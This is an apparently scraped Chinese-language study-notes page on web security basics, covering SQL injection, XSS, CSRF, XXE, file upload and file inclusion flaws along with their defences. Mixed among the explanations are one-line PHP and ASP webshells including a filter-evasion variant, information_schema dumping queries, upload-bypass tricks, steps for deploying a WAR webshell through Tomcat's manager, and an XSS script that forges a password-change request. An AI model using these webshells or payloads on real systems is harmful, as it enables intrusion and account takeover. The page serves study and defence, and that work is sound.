当前位置: 首页 > news >正文

Web安全攻防基础

http 80

https 443

Mysql 3306

1、文件上传中nginx解析漏洞的绕过方式:

        文件名绕过、目录路径绕过、MIME类型绕过

        MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。

2、常见的命令执行函数

        远程命令执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的一类。分为命令注入和代码注入。

  1. 常见的代码执行函数

    1. assert()

    2. eval()

    3. preg_repace()

    4. create_function()

    5. array_map()

    6. call_user_func()

    7. call_user_func_array()

  2. PHP常见的够执行代码的函数:

                eval()、assert()、preg_repace()、create_function()

        3.一句话木马,过狗一句话

        PHP木马:

                <?php @eval($_POST['v']);?>

        ASP木马:

                <% eval request("v")%>

        过狗一句话:

                <?php assert($_POST["v"]);?>

  1. 组合获取

    1. concat()

    2. group_concat()

  1. 截断函数

    1. substr()

    2. mid()

    3. left()

    4. information_schema

  1. Web安全的主要目标是阻止未经授权的访问数据泄露。

  2. 远程命令执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的一类。

  3. MYSQL盲注的核心是字符串截断函数条件判断语句

  4. 在WEB应用中,远程命令执行漏洞通常分为命令注入代码注入两类。

  5. WEB应用安全性测试,通常是在WEB应用开发的单元测试集成测试阶段进行。

  6. WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马JSP木马等。

  7. Sql注入时,判断数据库列数的关键字是order by N

  8. XML是一种类似HTML的标记性语言,用来存储标记数据、定义数据类型

  9. MYSQL报错注入的核心是报错函数

  10. Sql注入时,如执行UNION查询时,报错:Illegal mix of collations for operation 'UNION’,可以用convert()进行编码转换。

  11. 程序在解析XML时,解析了XML中的外部实体引用

  12. 文件包含指的是在php脚本中使用includerequire语句。

  13. 构造XSS Payload是测试XSS注入攻击的核心工作。

  14. 序列化是一种将对象的状态信息转换为可以存储或传输的形式的过程(转化为信息流)。

1.SQL注入的原理

        SQL注入攻击指通过构建特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作,主要原因是程序没有采用必要的措施避免用户输入内容改变原有SQL语句的语义。

2.SQL注入的防范技巧

  1. 过滤,通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生

    • 优点:业务改动量小,部署方便,是安全防护软件/硬件常用的解决方案

    • 缺点:基于黑名单的工作原理,容易产生误报或被绕过

  2. 编码,基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句

    1. 优点:不影响正常请求且不容易被绕过,OWASP ESAPI项目提供了这种解决方案。

    2. 缺点:整改需要一定的工作量,需要数据库自身的支持,且理论上仍存在的绕过风险。

  3. 预编译,基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令

    1. 优点:从根本上杜绝了SQL发生的可能性。

    2. 缺点:业务改动量大,建议新开发的项目均采用此种方式避免SQL注入攻击的产生。

3.SQL注入的基本流程

(1)注入点分析

  • 注入点位置

  • 数字型/字符型

  • 可利用的方式(联合查询、报错、盲注等)

(2)判断数据库类型

  • Mysql

  • Sqlserver

  • Oracle

  • PostgreSQL

(3)选择漏洞利用目标

  • 操作数据

  • 读写文件

  • 执行命令

(4)构造漏洞利用语句

  • 基础利用语句

  • 绕过过滤

4.MySQL手工注入代码

内置系统表 information_schema

1、查询数据库名

        select group_concat(schema_name) FROM information_schema.schemata;

2、查询表名

        select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’;

3、查询列名

        select group_concat(column_name) from information_schema.columns where table_schema=’xxxxx’ and table_name=’xxxxx’;

4、爆数据

        Select group_concat(column_name) from table_name;

5.SQL注入的危害

6.XSS(跨站脚本注入)的分类

(1)反射型XSS:直接将HTTP请求中的用户可控数据输出到HTML页面中的跨站脚本注入,由于用户可控数据没有被存储,因此只能在单次请求中生效;

(2)存储型XSS:又叫持久型XSS,直接将HTTP请求中的用户可控数据存储至数据库中,再从数据库中读取出来输出到HTML页面上,由于数据经过存储,可以持续被读取,攻击影响面和危害都较高;

(3)DOM-XSS:特殊的跨站,将用户可控数据通过JavaScript和DOM技术输出到HTML中,利用方式通常与反射型XSS类似。

7.XSS漏洞修复和防范方法

(1)Web客户端和服务端对用户的输入输出进行过滤或转义,如:<,>,script;

(2)浏览器设置为高安全级别,Cookie属性HttpOnly设置为true,浏览器将禁止 javascript访问带有HttpOnly属性的cookie;

(3)Web服务器安装WAF/IDS/IPS等产品,拦截攻击代码;

(4)关闭浏览器自动密码填写功能,防止被钓鱼页面、表单调取账号密码。

8.Tomcat服务远程部署漏洞利用的方法

(1)寻找和猜测后台管理路径,http://ip:8080/manager/html,利用默认账号密码或者爆破的方法登陆Tomcat管理后台。

(2)制作war包木马,嵌入shell.jsp

        准备一个jsp大马(如:shell.jsp)和2个文件夹(meta-inf/web-inf)。

        执行命令:jar -cvf shell.war shell.jsp web-inf meta-inf

(3)利用后台管理页面上传部署war包到服务器

(4)上传成功,猜测路径连接shell,http://ip:port/shell/shell.jsp

9.业务逻辑漏洞的原理与分类

业务逻辑漏洞是一类特殊的安全漏洞,通常是业务逻辑设计不严谨导致的漏洞。

(1)绕过验证

        主要指身份验证体系设计存在缺陷,可以使用某些技术手段绕过验证机制冒用他人身份。

(2)越权访问

        主要指权限控制功能不严谨,使得系统用户可以访问或操作未授权的功能或数据。

(3)交易活动

        交易漏洞指交易相关功能设计不严谨,导致可免费、低价购买商品或重复领取奖励等。

(4)其他漏洞

        如资源滥用等。

10.比较一句话木马(小马)和大马的特点

11.针对暴力破解的修复建议

  • 所有验证在服务端进行,验证问题的答案不能以任何形式返回客户端中(如图片验证码答案、短信验证码、验证问题答案等)。

  • 验证结果及下一步跳转操作由服务端直接进行。

  • 应尽可能避免采用连续身份验证机制,无论采用何种验证机制,只有当所有的数据输入以后,才进行身份验证数据的验证。

12.WEB应用安全性测试的基本流程

  • 信息收集:尽可能了解测试目标,掌握测试目标的信息(如功能模块、访问方式、应用场景等),获取必要的测试条件(如测试账号)。

  • 漏洞扫描与验证:使用自动化测试工具对通用的安全漏洞进行扫描和发现,并通过手工验证的方式验证漏洞的存在性和危害性。

  • 手工漏洞挖掘:在自动化测试的基础上,进一步从攻击者的思维对系统进行威胁分析,并模拟黑客攻击的思路和手段,对梳理出的安全威胁进行非破坏性的验证尝试,从而发现系统的漏洞。

  • 报告输出与跟踪:将发现的漏洞以明确且易于阅读的方式整理成报告,并提供相应的解决方案,提交给应用管理人员进行整改,同时建立漏洞跟踪机制,确保所有发现的漏洞处置完毕,形成闭环。

13.文件上传的检测手段及绕过方式

对文件上传功能进行一些限制,防止用户上传网页木马文件,但是如果开发者没有使用有效的限制手段,往往不能很好的阻止攻击者上传木马文件,以下是常见的限制手段和绕过限制手段进行上传攻击的方式:

  • 客户端检测

  • MIME类型检测

  • 文件内容检测

  • 扩展名过滤

  • 黑名单检测绕过

  • 截断绕过xx.php[/0].JPG

  • 利用文件解析漏洞绕过1.php.7z apache的解析漏洞

  • /xx.jpg/xx.php Nginx

  • 特殊的上传绕过方式 .htaccess叫分布式配置文件

  • 双文件上传

14.业务逻辑漏洞的挖掘思路

15.文件包含漏洞的防范

(1)在php代码中禁止0字节(\0),防止攻击者截断攻击;

(2)在PHP中配置open_basedir,限制PHP仅能打开某个文件夹的文件,使攻击者无法通过../等方式遍历服务器文件;

(3)尽量避免包含动态的变量,尤其是用户可以控制的变量,可以通过枚举实现;

(4)将PHP配置选项allow_url_include置为off,禁止include/require等函数加载远程文件。

16.CSRF、XSS和XXE的区别

        XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。

        CSRF是跨站请求伪造攻击,XSS是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时 进行 是否由用户自愿发起的确认。

        XXE是XML外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

SSRF(Server-sideRequestForgery)服务端请求伪造

17.CSRF、XSS和XXE的修复方式

  1. XSS修复方式:字符实体转义、用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、 输入时校验、输出时采用html 实体编码。

  2. CSRF修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer。

  3. XXE 修复方式:XML解析库在调用时严格禁止对外部实体的解析。

18.XSS和CSRF结合

1、留言板寻找xss漏洞

        <script>alert("666")</script>

2、放入攻击代码

<script>

function loadXMLDoc()

{

        var xmlhttp=new XMLHttpRequest();

        xmlhttp.open("POST","http://xxx/change_1.php",true);

        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

        xmlhttp.send("passwd1=123456&passwd2=123456");

}

loadXMLDoc();

</script>

http://www.dtcms.com/a/339478.html

相关文章:

  • 什么是IP隔离?一文讲清跨境电商/海外社媒的IP隔离逻辑
  • JVM对象创建和内存分配
  • 2025年12大AI测试自动化工具
  • 基礎複分析習題6.級數與乘積展開
  • 广东省省考备考(第八十一天8.19)——资料分析、数量(强化训练)
  • MVC、MVP、MVCC 和 MVI 架构的介绍及区别对比
  • 面试题储备-MQ篇 2-说说你对RocketMQ的理解
  • 基于WebSocket和SpringBoot聊天项目ChatterBox测试报告
  • 怎样平衡NLP技术发展中数据质量和隐私保护的关系?
  • 中科米堆CASAIM自动化三维测量设备测量汽车壳体直径尺寸
  • 多模态大模型应用落地:从图文生成到音视频交互的技术选型与实践
  • 5.1Pina介绍
  • 进程间的通信(管道,信号)
  • 知行社:以爱之名,共筑公益梦想
  • Podman:Mysql(使用卷)
  • 【Goland】:面向对象编程
  • Day 29 类的装饰器
  • 如何将任意文件一键转为PDF?
  • 【PHP】模拟斗地主后端编写
  • Matplotlib数据可视化实战:Matplotlib图表美化与进阶教程
  • 软件系统运维常见问题
  • idea中如何设置文件的编码格式
  • Python Day31 JavaScript 基础核心知识点详解 及 例题分析
  • 【完整源码+数据集+部署教程】太阳能板表面损伤检测图像分割系统源码和数据集:改进yolo11-DynamicHGNetV2
  • 服务器Linux防火墙怎样实现访问控制
  • Nginx前后端分离反代(VUE+FastAPI)
  • (一)八股(数据库/MQ/缓存)
  • 深入理解抽象类
  • C#三大核心特性
  • 小程序插件使用